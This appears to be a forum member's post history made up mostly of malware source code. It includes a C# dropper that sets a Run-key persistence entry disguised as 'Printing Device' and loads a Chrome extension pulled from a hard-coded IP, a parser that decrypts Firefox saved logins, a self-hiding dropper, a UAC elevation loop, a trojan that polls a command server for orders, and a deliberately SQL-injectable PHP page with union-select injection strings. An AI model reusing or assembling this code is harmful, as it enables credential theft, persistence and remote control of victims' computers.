Jump to content

Jako

Active Members
  • Posts

    68
  • Joined

  • Last visited

Posts posted by Jako

  1. using System;
    using System.Collections.Generic;
    using System.Text;
    using System.Net;
    using System.IO;
    using System.Diagnostics;
    using System.Runtime.InteropServices;
    using Microsoft.Win32;
    
    namespace ChromeSilence
    {
        class Program
        {
            [DllImport("user32.dll")]
            public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
    
            [DllImport("user32.dll")]
            static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
            static void Main(string[] args)
            {
                string filename = System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName;
                string newfilename = "asg0sdg025scdvx.exe";
                if (File.Exists(@"C:\Windows\Temp\"+filename))
                { }
                else
                {
                    try
                    {
                        File.Copy(filename, @"C:\Windows\Temp\" + newfilename);
                    }
                    catch (IOException copyError)
                    {
                        Console.WriteLine(copyError.Message);
                    }
                    
                }
                RegistryKey ax = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                ax.SetValue("Printing Device", "\"" + @"C:\Windows\Temp\"+newfilename + "\"");
                // check if chrome installed
                string file_one = @"C:\Program Files\Google\Chrome\Application\chrome.exe";
                string file_two = @"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe";
                String temp_path = @"C:\Windows\Temp\chrome_extension";
                String site_url = "http://37.235.55.133/pl/";
                System.IO.Directory.CreateDirectory(temp_path); // create directory
                if (File.Exists(file_one))
                {
                    using (WebClient webClient = new WebClient())
                    {
                        webClient.DownloadFile(site_url + "manifest.json", temp_path + @"\manifest.json");
                        webClient.DownloadFile(site_url + "main.js", temp_path + @"\main.js");
                        webClient.DownloadFile(site_url + "window.html", temp_path + @"\window.html");
                    }
                    System.Threading.Thread.Sleep(5000); // sleep for 5 seconds
                    Process.Start("chrome.exe", "--load-and-launch-app=" + temp_path);
                }
                if (File.Exists(file_two))
                {
                    using (WebClient webClient = new WebClient())
                    {
                        webClient.DownloadFile(site_url + "manifest.json", temp_path + @"\manifest.json");
                        webClient.DownloadFile(site_url + "main.js", temp_path + @"\main.js");
                        webClient.DownloadFile(site_url + "window.html", temp_path + @"\window.html");
                    }
                    System.Threading.Thread.Sleep(5000); // sleep for 5 seconds
                    Process.Start("chrome.exe", "--load-and-launch-app=" + temp_path);
                }
            }
        }
    }

     

  2. ; ---- skeleton -----------------------------------------------------------
    .686
    .model flat, stdcall
    option casemap :none
    
    ; ---- Include ------------------------------------------------------------
    include         \masm32\include\windows.inc
    include         \masm32\include\kernel32.inc
    include         \masm32\include\comctl32.inc
    include         \masm32\include\user32.inc
    include         \masm32\macros\macros.asm
    
    includelib        \masm32\lib\kernel32.lib
    includelib         \masm32\lib\user32.lib
    includelib         \masm32\lib\comctl32.lib
    
    DlgProc         PROTO     :DWORD,:DWORD,:DWORD,:DWORD
    AddComma        PROTO     :DWORD,:DWORD
    SetClipboard    PROTO     :DWORD
    
    ; #########################################################################
    
    .const
    IDD_DIALOG1        equ 100
    IDC_EDT1        equ 101
    IDC_EDT2        equ 102
    
    .data
    szBuffer        db 256 dup(?)
    
    .data?
    hInstance         dd ?
    szInput         db 512 dup(?)
    szOutput1         db 512 dup(?)
    szOutput2         db 512 dup(?)
    szOutputF         db 512 dup(?)
    szinputLen         dd ?
    
    .code
    WinMain:
        invoke GetModuleHandle,0
        mov hInstance,eax
        invoke DialogBoxParam,hInstance,IDD_DIALOG1,0,addr DlgProc,0
             invoke InitCommonControls
        invoke ExitProcess,eax
    
    DlgProc proc hWnd:HWND,uMsg:UINT,wParam:WPARAM,lParam:LPARAM
            mov eax,uMsg
            .if eax==WM_INITDIALOG
            .elseif eax == WM_COMMAND
                mov eax,wParam
                mov edx,eax
                shr edx,16
                and eax,0ffffh
                .if edx==BN_CLICKED
                    .if eax==1090
                        invoke GetDlgItemText,hWnd,IDC_EDT1,addr szInput,sizeof szInput
                        .if eax > 50
                            invoke SetDlgItemText,hWnd,102,chr$("Input is too big")
                        .else
                        test eax,eax
                        jz nothing
                        mov szinputLen,eax
                        PUSH ESI
                        PUSH EDX
                        PUSH ECX
                        MOV EBX,szinputLen
                        CMP EBX,0
                        JBE @End
                        MOV DWORD PTR SS:[EBP-3],EBX
                        lea esi,offset szInput
                        lea edi,offset szOutput1
                        @std:
                            MOVZX EAX,BYTE PTR DS:[ESI]
                            MOV ECX,0Ah
                            XOR EDX,EDX
                            IDIV ECX
                            ADD DL,030h
                            MOV BYTE PTR DS:[EDI+2],DL
                            XOR EDX,EDX
                            IDIV ECX
                            ADD DL,030h
                            MOV BYTE PTR DS:[EDI+1],DL
                            ADD AL,030h
                            MOV BYTE PTR DS:[EDI],','
                            MOV BYTE PTR DS:[EDI],AL
                            ADD EDI,3
                            INC ESI
                            DEC DWORD PTR SS:[EBP-3]
                            JNZ @std
                        @End:
                            PUSH DWORD PTR SS:[EBP+0Ch]
                            CALL lstrlen
                            XOR EDX,EDX
                            MOV ECX,3
                            IDIV ECX
                            POP ECX
                            POP EDX
                            POP ESI
                        invoke AddComma,addr szOutput1,addr szOutput2
                        iNvOkE lstrlen,addr szOutput2
                        MOV BYTE PTR [EAX+offset szOutput2-1],0
                        invoke lstrcat,addr szOutputF,chr$("char",28h)
                        invoke lstrcat,addr szOutputF,addr szOutput2
                        invoke lstrcat,addr szOutputF,chr$(29h)
                        invoke SetDlgItemText,hWnd,102,addr szOutputF            
                        invoke RtlZeroMemory,addr szInput, sizeof szInput ;Clear buffers
                        invoke RtlZeroMemory,addr szOutput1, sizeof szOutput1    
                        invoke RtlZeroMemory,addr szOutput2, sizeof szOutput2    
                        invoke RtlZeroMemory,addr szOutputF, sizeof szOutputF
                        RET        
                    .endif
                    .endif
                    .if eax==1097
                        invoke GetDlgItemText,hWnd,102,addr szBuffer,sizeof szBuffer
                        test eax,eax
                        jz nothing
                        invoke SetClipboard,addr szBuffer
                        ret
                        nothing:
                        invoke SetDlgItemText,hWnd,102,chr$("Click Convert first.")
                        ret
                        .endif
                    .if eax==1098
                        invoke EndDialog,hWnd,0
                    .endif
                .endif
            .endif
        .if eax==WM_CLOSE
            invoke EndDialog,hWnd,0
        .else
            xor eax,eax
            ret
        .endif
        mov eax,TRUE
        ret
    DlgProc endp
    
    AddComma proc uMsg:DWORD,wParam:DWORD
        XOR EAX,EAX
        XOR EDX,EDX
        XOR EBX,EBX
        XOR ESI,ESI
        XOR EDI,EDI
        MOV EBX,uMsg
        MOV EDX,wParam
        JMP foo_20
        foo_10:
            MOV BYTE PTR [EDX],','
            INC EDX
        foo_20:
            MOV ECX,DWORD PTR [EBX]
            ADD EBX,3
            TEST ECX,ECX
            JZ foo_30
            MOV DWORD PTR [EDX],ECX
            ADD EDX,3
            JMP foo_10
        foo_30:  
            XOR ECX,ECX
            MOV DWORD PTR [EDX],ECX
            ret
    AddComma endp
    
    SetClipboard    proc    txt:DWORD
    local    sLen:DWORD
    local    hMem:DWORD
    local    pMem:DWORD
        
    invoke lstrlen, txt
    inc eax
    mov sLen, eax
    invoke OpenClipboard, 0
    invoke GlobalAlloc, GHND, sLen
    mov hMem, eax
    invoke GlobalLock, eax
    mov pMem, eax
    mov esi, txt
    mov edi, eax
    mov ecx, sLen
    rep movsb
    invoke EmptyClipboard
    invoke GlobalUnlock, hMem
    invoke SetClipboardData, CF_TEXT, hMem
    invoke CloseClipboard
    ret
    SetClipboard endp
    
    end WinMain

    Local usage example:

    <?php
    /*
    SQL:
    CREATE TABLE IF NOT EXISTS `users` (
      `user_id` mediumint(9) NOT NULL AUTO_INCREMENT,
      `username` varchar(50) NOT NULL,
      `nom` varchar(80) NOT NULL,
      `prenom` varchar(80) NOT NULL,
      `email` varchar(80) NOT NULL,
      PRIMARY KEY (`user_id`)
    ) ENGINE=MyISAM  DEFAULT CHARSET=latin1 AUTO_INCREMENT=7 ;
    
    INSERT INTO `users` (`user_id`, `username`, `nom`, `prenom`, `email`) VALUES
    (1, 'Xylitol', 'Ano', 'Nymous', 'not disclosed'),
    (2, 'Krach', 'Ano', 'Nymous', 'not disclosed'),
    (3, 'Tishrom', 'Ano', 'Nymous', 'not disclosed'),
    (4, 'Karkinge', 'Ano', 'Nymous', 'not disclosed'),
    (5, 'H00b3n', 'Ano', 'Nymous', 'not disclosed'),
    (6, 'Spawn', 'Ano', 'Nymous', 'not disclosed');
    
    Usage:
    vuln.php?id=4 order by 4
    vuln.php?id=-1+union+select+1,2,3,4,5--
    
    */
    mysql_connect("localhost","root","");
    mysql_select_db("testsqlinj");
    $user_id = $_GET['id']; // $user_id = intval($_GET['id']);
    $sql = mysql_query("SELECT username, nom, prenom, email FROM users WHERE user_id = $user_id") or die(mysql_error());
    if(mysql_num_rows($sql) > 0)
    {
    $data = mysql_fetch_object($sql);
    echo "
    <fieldset>
    <legend>Profile de ".$data->username."</legend>
    <p>Nom d'utilisateur : ".$data->username."</p>
    <p>Nom et prénom : ".$data->nom." " .$data->prenom ."</p>
    <p>Adresse email : ".$data->email."</p>
    </fieldset>";
    }
    ?>

     

  3. #define CHAR_PTR_SIZE sizeof(char*)
    #define JSON_ENTRY_NAME 0
    #define JSON_ENTRY_DATA 1
    
    char* unwrap(char* in,char in_st, char in_end){
            char* tmp = in;
            int st = 0;
            int en = 0;
            
            if (*in == in_st){
                *in = 0x00;
                st = 1;
            }
            in += (lstrlenA(in + 1));
            if (*in == in_end){
                *in = 0x00;
                en = 1;
            }
            if (st && en){
                return tmp + 1;
            }
            else{
                return 0;
            }
            
        }
        int st_en(char in_char, int in_int){
            int out = in_int;
            if (in_char == '{' || in_char == '['){
                out++;
            }
            else if ((in_char == '}' || in_char == ']') && out){
                out--;
            }
            return out;
        }
    
        char* parse_logins(LPVOID in, int in_size,char* out, int out_size){
            int entrys = 0;
            int entrys_size = 0;
            char** pl = (char**)get_array((char*)in, 0, &entrys, &entrys_size);
            char** logins = NULL;
            char** login_info = NULL;
            lstrcpyA(out,"|");
    
            if (pl && entrys){
                for (int i = 0; i < entrys; i+= 2){
    
                    if (myString::compare_A(pl[i], lstrlenA(pl[i]), "\"logins\"", 8)){
                        int l_entrys = 0;
                        int l_size = 0;
                        logins = (char**)get_array(pl[i + 1], 1, &l_entrys, &l_size);
    
                        if (logins && l_entrys){
                            
                            for (int j = 0; j <= l_entrys; j += 2){
                                int j_entrys = 0;
                                int j_size = 0;
                                login_info = (char**)get_array(logins[j], 0, &j_entrys,&j_size);
    
                                if (login_info && j_entrys){
                                    for (int k = 0; k <= j_entrys; k += 2){
    
                                        if (myString::compare_A(login_info[k], lstrlenA(login_info[k]), "\"hostname\"", 8)){
                                            lstrcatA(out, unwrap(login_info[k + 1], '"', '"'));
                                            lstrcatA(out, ",");
    
                                        }
                                        else if (myString::compare_A(login_info[k], lstrlenA(login_info[k]), "\"encryptedUsername\"", 17)){
                                            lstrcatA(out, Crack(unwrap(login_info[k + 1], '"', '"')));
                                            lstrcatA(out, ",");
                                        }
                                        else if (myString::compare_A(login_info[k], lstrlenA(login_info[k]), "\"encryptedPassword\"", 17)){
                                            lstrcatA(out, Crack(unwrap(login_info[k + 1], '"', '"')));
                                            lstrcatA(out, "|");
                                        }
                                    }
                                    RtlSecureZeroMemory(login_info, j_size);
                                    VirtualFree(login_info, j_size, MEM_RELEASE);
                                }
    
                            }
                            RtlSecureZeroMemory(logins, l_size);
                            VirtualFree(logins, l_size, MEM_RELEASE);
                        }
                    }
                }
                RtlSecureZeroMemory(pl, entrys_size);
                VirtualFree(pl,entrys_size,MEM_RELEASE);
            }
            return out;
        }
    
        int comma_sep(char* in, LPVOID out, int out_size, int* scc, int* p_cnt){
            int in_size = lstrlenA(in);
            int _scc = *scc;                //this is the count for {} [] if scc is not 0 then do not include those commas
            int prop_cnt = 0;               //entry count in the array.
            char** out_arr = (char**)out;   //This is the pointer that we use the make the data into and array
            char* object = 0;               //another pointer to munipulate data.
            int out_s = 0;                  //the totol size of the array in bytes
            int cur_pos = 0;                //current possition withen the array
    
            for (int i = 0; i < in_size; i++){
    
                cur_pos = prop_cnt * 2;
                _scc = st_en(in[i], _scc);//make sure we dont enter a sub object/array
    
                //Detect first entry.
                if (prop_cnt == 0){
                    prop_cnt = 1;
                    if (out_arr){
                        out_arr[(prop_cnt - 1) + JSON_ENTRY_NAME] = in;//Set the first entry in array
                    }
                }
    
                //Parse each entry
                out_s = cur_pos * CHAR_PTR_SIZE;
    
                if (!_scc && in[i] == ','){
    
                    if (out_arr){
                        //add item to array
                        in[i] = 0x00;// over write the , with a NULL to create a valid string
    
                        if (out_s <= out_size){
    
                            //set array entry to after the ,
                            out_arr[cur_pos + JSON_ENTRY_NAME] = (char*)(in + i + 1);
                        
                        }  
                    }
                    //increment number of entrys int the JSON array.
                    prop_cnt++;
                }
            }
    
            cur_pos = 0;
            
            if (out_arr){//if out_arr is false then we return the count of entrys for the array.
    
                for (int j = 0; j <= prop_cnt; j++){
    
                    cur_pos = j * 2;
                    object = out_arr[cur_pos + JSON_ENTRY_NAME];
    
                    for (int i = 0; i < lstrlenA(object); i++){
                        _scc = st_en(object[i], _scc);
    
                        if (!_scc && object[i] == ':'){
                            //replace : with a null to create a valid string
                            object[i] = 0x00;
                            out_s = cur_pos * CHAR_PTR_SIZE;
    
                            //Set the data and the name.
                            if (out_s <= out_size){
    
                                //set the pointer to after the :
                                out_arr[cur_pos + JSON_ENTRY_DATA] = object + i + 1;
                            }
                            continue;
                        }
                        else if (!_scc && object[i] == ','){
                            //error checking
                            break;
                        }
                    }
                }
            }
            *p_cnt = prop_cnt; // set the amount of entrys withen the JSON array
            *scc = _scc;        // return the number -> more for error checking
            cur_pos = prop_cnt * 2; // to calculate the total array size in bytes below
            return  cur_pos * CHAR_PTR_SIZE;
        }
    
        LPVOID get_array(char* in, int arr, int * entrys, int* out_size){
            char* object = in;
            int obj_size = NULL;
            int prop_cnt = NULL;
            int in_size = lstrlenA(in);
            LPVOID out_array = NULL;
            char** o_a = NULL;
            char start_char = '{';
            char end_char = '}';
            int start_char_cnt = 0;
            int sort = 0;
            int fist_param = 0;
    
            if (arr){
                start_char = '[';
                end_char = ']';
            }
    
            if (!in_size || in[0] != start_char){
                return 0;
            }
            else if (in[in_size - 1] == end_char){
                object = unwrap(in, start_char, end_char);
                if (object){
    
                    *out_size = comma_sep(object, 0, 0, &start_char_cnt, &prop_cnt);
                    if (*out_size){
                        //call virtualFree later on. MAKE SURE!
                        out_array = VirtualAlloc(0, *out_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    
                        comma_sep(object, out_array, *out_size, &start_char_cnt, &prop_cnt);
    
    
                        if (out_array && *out_size){
                            *entrys = prop_cnt;
                            return out_array;
                        }
                    }
    
                }
                return 0;
            }
        }

     

    Implementation

    char tBuff[5000];
    RtlSecureZeroMemory(tBuff, 5000);
    
    HANDLE lgns = CreateFileA("Path\\to\\logins.json", GENERIC_READ, FILE_SHARE_READ, 0, 3, FILE_ATTRIBUTE_NORMAL, 0);
    
    if (lgns && ReadFile(lgns, lgns_buff, 5000, &bytes_read, 0)){
        parse_logins(lgns_buff, 5000, tBuff, 5000);
    }
    if (lgns){
        CloseHandle(lgns);
    }
    
    if (lstrlenA(tBuff)){
        OutputDebugStringW(L"FireFox Accounts ---->");
        lstrcatA(inChar,tBuff);
        OutputDebugStringA(inChar);
        return (DWORD)inChar;
    }

     

    myString::compareA() code

    static int compare_A(char* small_ , int small_size, char* big_, int big_size){
            char* big_str = big_;
            char * small_str = small_;
            int small_str_size = lstrlenA(small_);
            int big_str_size = lstrlenA(big_);
            int i = 0;
            
            if (small_str_size > big_str_size){
                big_str = small_;
                small_str = big_;
            }
    
            if (small_size < small_str_size){
                small_str_size = small_size;
            }
            if (big_size < big_str_size){
                big_str_size = big_size;
            }
    
    
            for (i = 0;i < small_str_size; i++){
                if (small_str[i] != big_str[i]){
                    break;
                }
            }
            if (i && i == (small_str_size)){
                return 1;
            }
            return 0;
        }

     

    SOURCE

  4. main.h

    #pragma once
    #ifndef HEADER_H
    #define HEADER_H
    
    #include <tchar.h>
    #include <stdio.h>
    #include <iostream>
    #include <WinSock2.h>
    #include <Windows.h>
    #include <direct.h>
    #include <string>
    #pragma comment(lib, "Ws2_32.lib")
    
    void mainInstaller(std::string filepath, std::string whatDropName);
    bool isRunning(LPCSTR pName);
    std::string ExtractFilename ( const std::string& path );
    std::string ExtractDirectory ( const std::string& path );
    void hideProcess();
    
    #endif

    maydaycore.cpp

    #include "Main.h"
    #include <Psapi.h>
    #include <TlHelp32.h>
    #include <cstringt.h>
    #include <atlstr.h>
    #include <locale>
    #include <codecvt>
    
    using namespace std;
    
    void mainInstaller(std::string filepath, std::string whatDropName)
    {
        char nxs[] = "";
        strcat(nxs, (char *)whatDropName.c_str());
        std::string asdf = filepath + "_temp.exe";
        std::wstring stemp = std::wstring(filepath.begin(), filepath.end());
        std::wstring stempa = std::wstring(asdf.begin(), asdf.end());
    
        CopyFileW(stemp.c_str(), stempa.c_str(), FALSE);
    
        const std::string& nfn = ExtractFilename(filepath);
        const std::string& ofn = ExtractFilename(filepath);
        strcat((char *)nfn.c_str(), "_temp.exe");
        char old[] = "";
        strcat(old, (const char *)nfn.c_str());
        Sleep(500);
        int result;
        result = rename(old, nxs);
    
        if(result != 0)
        {
            std::cout << "Rename failure." << std::endl;
        }
        else
        {
            std::cout << "Rename success." << std::endl;
        }
        Sleep(500);
        std::cout << nxs << std::endl;
        if(!SetFileAttributesA((LPCSTR)nxs, FILE_ATTRIBUTE_HIDDEN))
        {
            std::cout << "Error hiding file." << std::endl;
        }
        Sleep(500);
        char szFinal[] = "";
            strcat(szFinal, (const char *)ExtractDirectory(filepath).c_str());
            strcat(szFinal, nxs);
            
            HKEY newValue;
            if(RegOpenKey(HKEY_CURRENT_USER, TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run"), &newValue) != ERROR_SUCCESS)
            {
            }
    
            wstring_convert<std::codecvt_utf8<wchar_t>> converter;
            CString str;
            str = szFinal;
            cout << str.GetString() << endl;
            const BYTE* pb = reinterpret_cast<const BYTE*>(str.GetString());
            cout << pb << endl;
            DWORD pathLenInBytes = *str * sizeof(*str);
            if(RegSetValueEx(newValue, TEXT("Printing Device"), 0, REG_SZ, (LPBYTE)pb, pathLenInBytes) != ERROR_SUCCESS)
            {
                RegCloseKey(newValue);
                cout << "error" << endl;
            } else {
                cout << "Possibly worked." << endl;
                RegCloseKey(newValue);
            }
            Sleep(800);
            char *fullNewFilePath = (char *)ExtractDirectory(filepath).c_str();
            strcat(fullNewFilePath, "\\");
            strcat(fullNewFilePath, whatDropName.c_str());
            char *cmd = "/k start ";
            strcat((char *)cmd, ExtractDirectory(filepath).c_str());
            strcat((char *)cmd, whatDropName.c_str());
    
            std::cout << cmd << std::endl;
    
            CString cmd_str = cmd;
    
            wchar_t wtext[20];
            mbstowcs(wtext, cmd, strlen(cmd) + 1);
            LPCWSTR newtext = wtext; // renders useless
    
    
            SHELLEXECUTEINFO shExecInfo;
            shExecInfo.cbSize = sizeof(SHELLEXECUTEINFO);
            shExecInfo.fMask = NULL;
            shExecInfo.hwnd = NULL;
            shExecInfo.lpVerb = L"runas"; // request admin permissions
            shExecInfo.lpFile = L"cmd.exe";
            shExecInfo.lpParameters = cmd_str;
            shExecInfo.lpDirectory = NULL;
            shExecInfo.nShow = SW_NORMAL;
            shExecInfo.hInstApp = NULL;
    
            ShellExecuteEx(&shExecInfo);
    
            ExitProcess(0);
    }
    void hideProcess()
    {
        
    }
    std::string ExtractDirectory ( const std::string& path )
    {
        return path.substr(0, path.find_last_of('\\') + 1);
    }
    std::string ExtractFilename ( const std::string& path )
    {
        return path.substr(path.find_last_of('\\') + 1);
    }
    bool isRunning(LPCSTR pName)
    {
        HWND hwnd;
        hwnd = FindWindow(NULL, (LPCWSTR)pName);
        if(hwnd!= 0)
        {
            return true;
        }
        else
        {
            return false;
        }
    }

    maydaymalware.cpp

    #include "Main.h"
    
    char *fileToDrop = "mayday.exe";
    char *filepath = "";
    char *reachServer = "127.0.0.1";
    char *reachDirectory = "mayday";
    
    int main(int argc, char *argv[])
    {
        filepath = argv[0];
        if(ExtractFilename(filepath).c_str() != (std::string)fileToDrop) {
            mainInstaller(filepath, fileToDrop);
            free(filepath);
            free(fileToDrop);
        } else {
            while(true)
            {
                Sleep(100000);
            }
        }
        return 0;
    }

    rootkat.cpp

    #include "Main.h"
    #include <CommCtrl.h>
    
    #pragma comment(linker, "/OPT:NOWIN98")
    #pragma comment(linker, "/FILEALIGN:512 /MERGE:.rdata=.text /MERGE:.data=.text /SECTION:.text,EWR /IGNORE:4078")
    #define WIN32_LEAN_AND_MEAN
    #define MAX 256

     

  5. #include <iostream>
    #include <iomanip>
    #include <Windows.h>
    
    
    using namespace std;
    
    BOOL IsRunAsAdmin();
    void elevate();
    BOOL IsProcessElevated();
    DWORD GetProcessIntegrityLevel();
    BOOL Elevate();
    
    int main()
    {
        Elevate();
    }
    
    
    
    
    BOOL Elevate()
    {
        
    
        while (IsRunAsAdmin() == FALSE)
        {
    
        if (IsRunAsAdmin() == FALSE)
                {
    
                    wchar_t szPath[MAX_PATH];
                    if (GetModuleFileName(NULL, (LPSTR)szPath, ARRAYSIZE(szPath)))
                    {
                        // Launch itself as administrator.
                        SHELLEXECUTEINFO sei = { sizeof(sei) };
                        sei.lpVerb = (LPSTR)"runas";
                        sei.lpFile = (LPSTR)szPath;
                        sei.hwnd = NULL;
                        sei.nShow = SW_NORMAL;
    
    
                        if (!ShellExecuteEx(&sei))
                        {
                            DWORD dwError = GetLastError();
                            if (dwError == ERROR_CANCELLED)
                            {
                                // The user refused the elevation.
                                // Do nothing ...
                            }
                            else
                            {
                                NULL;
                            }
                        }
                        else
                        {
                            return TRUE; // Quit itself
                        }
                    }
                }
                else
                {
                    NULL;
                }
        Sleep(500);
    
        }
        return FALSE;
    
    }
    
    BOOL IsRunAsAdmin()
    {
        BOOL fIsRunAsAdmin = FALSE;
        DWORD dwError = ERROR_SUCCESS;
        PSID pAdministratorsGroup = NULL;
    
        // Allocate and initialize a SID of the administrators group.
        SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
        if (!AllocateAndInitializeSid(
            &NtAuthority,  
            2,  
            SECURITY_BUILTIN_DOMAIN_RID,  
            DOMAIN_ALIAS_RID_ADMINS,  
            0, 0, 0, 0, 0, 0,  
            &pAdministratorsGroup))
        {
            dwError = GetLastError();
            goto Cleanup;
        }
    
        // Determine whether the SID of administrators group is enabled in  
        // the primary access token of the process.
        if (!CheckTokenMembership(NULL, pAdministratorsGroup, &fIsRunAsAdmin))
        {
            dwError = GetLastError();
            goto Cleanup;
        }
    
    Cleanup:
        // Centralized cleanup for all allocated resources.
        if (pAdministratorsGroup)
        {
            FreeSid(pAdministratorsGroup);
            pAdministratorsGroup = NULL;
        }
    
        // Throw the error if something failed in the function.
        if (ERROR_SUCCESS != dwError)
        {
            throw dwError;
        }
    
        return fIsRunAsAdmin;
    }
    
    BOOL IsProcessElevated()
    {
        BOOL fIsElevated = FALSE;
        DWORD dwError = ERROR_SUCCESS;
        HANDLE hToken = NULL;
    
        // Open the primary access token of the process with TOKEN_QUERY.
        if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken))
        {
            dwError = GetLastError();
            goto Cleanup;
        }
    
        // Retrieve token elevation information.
        TOKEN_ELEVATION elevation;
        DWORD dwSize;
        if (!GetTokenInformation(hToken, TokenElevation, &elevation,  
            sizeof(elevation), &dwSize))
        {
            // When the process is run on operating systems prior to Windows  
            // Vista, GetTokenInformation returns FALSE with the  
            // ERROR_INVALID_PARAMETER error code because TokenElevation is  
            // not supported on those operating systems.
            dwError = GetLastError();
            goto Cleanup;
        }
    
        fIsElevated = elevation.TokenIsElevated;
    
    Cleanup:
        // Centralized cleanup for all allocated resources.
        if (hToken)
        {
            CloseHandle(hToken);
            hToken = NULL;
        }
    
        // Throw the error if something failed in the function.
        if (ERROR_SUCCESS != dwError)
        {
            throw dwError;
        }
    
        return fIsElevated;
    }
    
    DWORD GetProcessIntegrityLevel()
    {
        DWORD dwIntegrityLevel = 0;
        DWORD dwError = ERROR_SUCCESS;
        HANDLE hToken = NULL;
        DWORD cbTokenIL = 0;
        PTOKEN_MANDATORY_LABEL pTokenIL = NULL;
    
        // Open the primary access token of the process with TOKEN_QUERY.
        if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken))
        {
            dwError = GetLastError();
            goto Cleanup;
        }
    
        // Query the size of the token integrity level information. Note that  
        // we expect a FALSE result and the last error ERROR_INSUFFICIENT_BUFFER
        // from GetTokenInformation because we have given it a NULL buffer. On  
        // exit cbTokenIL will tell the size of the integrity level information.
        if (!GetTokenInformation(hToken, TokenIntegrityLevel, NULL, 0, &cbTokenIL))
        {
            if (ERROR_INSUFFICIENT_BUFFER != GetLastError())
            {
                // When the process is run on operating systems prior to Windows  
                // Vista, GetTokenInformation returns FALSE with the  
                // ERROR_INVALID_PARAMETER error code because TokenElevation  
                // is not supported on those operating systems.
                dwError = GetLastError();
                goto Cleanup;
            }
        }
    
        // Now we allocate a buffer for the integrity level information.
        pTokenIL = (TOKEN_MANDATORY_LABEL *)LocalAlloc(LPTR, cbTokenIL);
        if (pTokenIL == NULL)
        {
            dwError = GetLastError();
            goto Cleanup;
        }
    
        // Retrieve token integrity level information.
        if (!GetTokenInformation(hToken, TokenIntegrityLevel, pTokenIL,  
            cbTokenIL, &cbTokenIL))
        {
            dwError = GetLastError();
            goto Cleanup;
        }
    
        // Integrity Level SIDs are in the form of S-1-16-0xXXXX. (e.g.  
        // S-1-16-0x1000 stands for low integrity level SID). There is one and  
        // only one subauthority.
        dwIntegrityLevel = *GetSidSubAuthority(pTokenIL->Label.Sid, 0);
    
    Cleanup:
        // Centralized cleanup for all allocated resources.
        if (hToken)
        {
            CloseHandle(hToken);
            hToken = NULL;
        }
        if (pTokenIL)
        {
            LocalFree(pTokenIL);
            pTokenIL = NULL;
            cbTokenIL = 0;
        }
    
        // Throw the error if something failed in the function.
        if (ERROR_SUCCESS != dwError)
        {
            throw dwError;
        }
    
        return dwIntegrityLevel;
    }

     

    • Upvote 1
  6. #include <windows.h>
    #pragma comment(lib, "Winmm.lib")
    #include <urlmon.h>
    #pragma comment(lib, "urlmon.lib")
    #include <iostream>
    #include <fstream>
    #include <WinInet.h>
    #pragma comment(lib, "WinInet.lib")
    #include <ShlObj.h>
    using namespace std;
    
    int Option, Assign, Target;
    DWORD WINAPI LowProfile(LPVOID);
    DWORD WINAPI Option1(LPVOID);
    DWORD WINAPI Option2(LPVOID);
    DWORD WINAPI Option3(LPVOID);
    DWORD WINAPI Option4(LPVOID);
    DWORD WINAPI Option5(LPVOID);
    // Add more lines of Option6, Option7, etc. to create more commands.
    HWND TaskMgr, SysError, WMP, Disk1, Disk2, Disk3, Disk4, Autoplay, VBS;
    
    int main() {
    // Hide Console Window
    FreeConsole();
    
    CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)&LowProfile, 0, 0, NULL);
    
    // Checks if assign.txt exists. If it doesn't (only first run), download assign.txt. This gives the computer an ID number. You can change assign.txt in the PHP file BEFORE you plug in the U3 drive.
    FILE *istream;
    if ( (istream = fopen ( "C:\\Windows\\trojan\\assign.txt", "r" ) ) == NULL ) {
    URLDownloadToFile(NULL, L"http://www.yourwebsitehere.com/trojan/assign.html", L"c:\\Windows\\trojan\\assign.txt", NULL, NULL);
    } else {
    }
    
    // Store Assign.txt in a variable
    ifstream inAssign;
    inAssign.clear();
    inAssign.open("c:\\Windows\\trojan\\assign.txt");
    inAssign >> Assign;
    inAssign.close();
    inAssign.clear();
    
    // Start the main loop that is downloading the textfile each 5 seconds.
    while(1) {
    
    // Download Option & Target
    remove("c:\\Windows\\trojan\\option.txt");
    remove("c:\\Windows\\trojan\\target.txt");
    DeleteUrlCacheEntry(L"http://www.yourwebsitehere.com/trojan/");
    DeleteUrlCacheEntry(L"http://www.yourwebsitehere.com/trojan/target.html");
    Sleep(100);
    URLDownloadToFile(NULL, L"http://www.yourwebsitehere.com/trojan/", L"c:\\Windows\\trojan\\option.txt", NULL, NULL);
    URLDownloadToFile(NULL, L"http://www.yourwebsitehere.com/trojan/target.html", L"c:\\Windows\\trojan\\target.txt", NULL, NULL);
    
    // Read Option
    ifstream inFile;
    inFile.clear();
    inFile.open("c:\\Windows\\trojan\\option.txt");
    inFile >> Option;
    inFile.close();
    inFile.clear();
    
    // Read Target
    ifstream inTarget;
    inTarget.clear();
    inTarget.open("c:\\Windows\\trojan\\target.txt");
    inTarget >> Target;
    inTarget.close();
    inTarget.clear();
    
    // If Target is equal to assign (so you can target a single computer) or if Target is zero (target all computers with your trojan)
    if(Target == Assign || Target == 0) {
    if(Option == 1) { CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)&Option1, 0, 0, NULL); }
    else if(Option == 2) { CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)&Option2, 0, 0, NULL); }
    else if(Option == 3) { CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)&Option3, 0, 0, NULL); }
    else if(Option == 4) { CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)&Option4, 0, 0, NULL); }
    else if(Option == 5) { CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)&Option5, 0, 0, NULL); }
    // Add more of these lines for more commands
    }
    Sleep(5000);
    }
    }
    
    // Our LowProfile Thread. Hides all errors and things that may popup while inserting your U3 drive.
    DWORD WINAPI LowProfile(LPVOID) {
    while(1) {
    // Obvious
    TaskMgr = FindWindow(NULL,L"Windows Task Manager");
    // May popup because of new hardware installation (U3)
    SysError = FindWindow(NULL,L"System Settings Change");
